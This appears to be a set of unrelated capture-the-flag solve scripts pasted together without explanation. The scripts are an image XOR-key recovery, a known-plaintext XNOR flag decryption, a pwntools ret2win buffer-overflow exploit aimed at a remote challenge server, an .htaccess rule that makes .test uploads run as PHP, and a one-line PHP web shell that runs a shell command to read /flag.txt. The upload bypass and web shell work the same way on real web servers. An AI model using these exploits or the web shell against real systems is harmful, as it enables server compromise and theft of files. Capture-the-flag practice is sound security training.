1
from PIL import Image
2

3
def modinv(a, m):
4
    try:
5
        return pow(a, -1, m)
6
    except ValueError:
7
        def egcd(a, b):
8
            if b == 0:
9
                return (a, 1, 0)
10
            g, x1, y1 = egcd(b, a % b)
11
            return (g, y1, x1 - (a // b) * y1)
12
        g, x, _ = egcd(a, m)
13
        if g != 1:
14
            raise ValueError(f"no modular inverse for {a} mod {m}")
15
        return x % m
16

17
def inverse_permute_and_place(img):
18
    width, height = img.size
19
    inv_w = modinv(727, width)
20
    inv_h = modinv(727, height)
21

22
    mode = img.mode
23

24
    enc = [ [ None for _ in range(height) ] for __ in range(width) ]
25

26
    px = img.load()
27
    for newi in range(width):
28
        for newj in range(height):
29
            pix = px[newi, newj]
30
            orig_i = ((newi - 2134266) * inv_w) % width
31
            orig_j = ((newj - 4501511) * inv_h) % height
32
            enc[orig_i][orig_j] = pix
33

34
    return enc, mode
35

36
def estimate_key_by_variation(enc, width, height, channels, samples=5000):
37
    import random as _r
38
    ch_arrays = [ [ [0]*height for _ in range(width) ] for __ in range(channels) ]
39
    for i in range(width):
40
        for j in range(height):
41
            p = enc[i][j]
42
            if channels == 1:
43
                ch_arrays[0][i][j] = p
44
            else:
45
                for c in range(channels):
46
                    ch_arrays[c][i][j] = p[c]
47

48
    total_pixels = width * height
49
    sample_count = min(samples, total_pixels)
50
    idxs = _r.sample(range(total_pixels), sample_count)
51
    coords = [ (idx % width, idx // width) for idx in idxs ]
52

53
    best_key = [0] * channels
54
    for c in range(channels):
55
        best_k = None
56
        best_score = None
57
        arr = ch_arrays[c]
58
        for k in range(256):
59
            score = 0
60
            for (x, y) in coords:
61
                v = arr[x][y] ^ k
62
                # 右相邻
63
                if x + 1 < width:
64
                    vr = arr[x+1][y] ^ k
65
                    score += abs(v - vr)
66
                # 下方相邻
67
                if y + 1 < height:
68
                    vb = arr[x][y+1] ^ k
69
                    score += abs(v - vb)
70
            if best_score is None or score < best_score:
71
                best_score = score
72
                best_k = k
73
        best_key[c] = best_k
74
        print(f"channel {c}: best key byte = {best_k} (score {best_score})")
75

76
    return tuple(best_key)
77

78
def reconstruct(enc, key):
79
    width = len(enc)
80
    height = len(enc[0])
81
    channels = len(enc[0][0]) if hasattr(enc[0][0], '__len__') else 1
82
    from PIL import Image
83
    mode = 'RGB' if channels >= 3 else 'L'
84
    out = Image.new(mode, (width, height))
85
    out_px = out.load()
86
    for i in range(width):
87
        for j in range(height):
88
            p = enc[i][j]
89
            if channels == 1:
90
                v = p ^ key[0]
91
                out_px[i, j] = v
92
            else:
93
                newp = tuple((p[c] ^ key[c]) for c in range(len(key)))
94
                if hasattr(p, '__len__') and len(p) > len(key):
95
                    newp = newp + tuple(p[len(key):])
96
                out_px[i, j] = newp
97
    return out
98

99
def main(input_path='output.png', output_path='recovered.png'):
100
    print(f"加载 {input_path}...")
101
    img = Image.open(input_path).convert('RGBA') if True else Image.open(input_path)
102
    width, height = img.size
103
    enc, mode = inverse_permute_and_place(img)
104
    # detect channels
105
    sample_pix = enc[0][0]
106
    channels = len(sample_pix) if hasattr(sample_pix, '__len__') else 1
107
    print(f"尺寸： {width}x{height}, 通道数: {channels}")
108

109
    print("通过最小化局部变化（采样）来估计密钥字节...")
110
    key = estimate_key_by_variation(enc, width, height, channels, samples=8000)
111
    print("估计的密钥:", key)
112

113
    print("使用估计的密钥重建图像...")
114
    recovered = reconstruct(enc, key)
115
    recovered.save(output_path)
116
    print(f"已保存恢复的图像到 {output_path}")
117

118
if __name__ == '__main__':
119
    main()

1
def xnor_gate(a, b):
2
    return 1 if a == b else 0
3

4
def str_to_bits(s):
5
    bits = []
6
    for x in s:
7
        bits += [(x >> i) & 1 for i in range(8)][::-1]
8
    return bits
9

10
def bits_to_str(bits):
11
    return bytes([sum(x * 2 ** j for j, x in enumerate(bits[i:i+8][::-1])) for i in range(0, len(bits), 8)])
12

13
def xnor(pt_bits, key_bits):
14
    return [xnor_gate(pt_bit, key_bit) for pt_bit, key_bit in zip(pt_bits, key_bits)]
15

16
enc_hex = "7e5fa0f2731fb9b9671fb1d62254b6e5645fe4ff2273b8f04e4ee6e5215ae6ed6c"
17
enc_bytes = bytes.fromhex(enc_hex)
18
enc_bits = str_to_bits(enc_bytes)
19

20
known_plain = b"osu{"
21
plain_bits = str_to_bits(known_plain)
22
cipher_bits = str_to_bits(enc_bytes[:4])  # 前4字节密文
23

24
# key_bits = plain_bits XNOR cipher_bits
25
key_bits = xnor(plain_bits, cipher_bits)
26

27
# 取前 32 位作为密钥
28
key_bits_32 = key_bits[:32]
29
key_bytes = bits_to_str(key_bits_32)
30

31
print("Recovered key bytes:", key_bytes.hex())
32

33
# 用这个密钥解密全部
34
repeated_key = key_bytes * (1 + len(enc_bytes) // 4)
35
repeated_key_bits = str_to_bits(repeated_key)
36

37
dec_bits = xnor(enc_bits, repeated_key_bits)
38
flag = bits_to_str(dec_bits)
39
print("Flag:", flag.decode())

1
from pwn import *
2

3
context(os='linux', arch='amd64', log_level='info')
4

5
binary = "./checker"
6
elf = ELF(binary)
7

8
offset = 72
9

10
rop = ROP(elf)
11

12
# 寻找ret指令（用于栈对齐）
13
ret = rop.find_gadget(['ret'])[0]
14
# 寻找win函数地址
15
win = elf.symbols['win']
16

17
log.info(f"Ret gadget: {hex(ret)}")
18
log.info(f"Win function: {hex(win)}")
19

20
payload = b"A" * offset + p64(ret) + p64(win)
21

22
p = remote("username-checker.challs.sekai.team", 1337)
23
p.sendline(payload)
24
p.interactive()

1
AddType application/x-httpd-php .test

1
<? system("cat /flag.txt"); ?>